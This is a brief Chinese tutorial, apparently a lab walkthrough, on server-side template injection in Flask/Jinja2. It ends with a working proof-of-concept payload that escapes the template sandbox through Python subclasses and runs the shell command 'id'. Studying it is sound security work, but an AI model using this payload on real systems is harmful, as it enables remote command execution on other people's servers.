先来看一下代码:
在浏览器中输入
http://your-ip:8000/?name=aaa
会出现 hello aaa
在name后面也可以输入其他东西,比如:
http://192.168.147.139:8000/?name={{123*123}}
http://your-ip/?name={{'aaa'.upper()}}
任意命令执行的方法,需要在python里要执行系统命令需要import os模块。
想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册
需要在代码里加一句:
t.globals['os'] = os
漏洞利用的poc
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}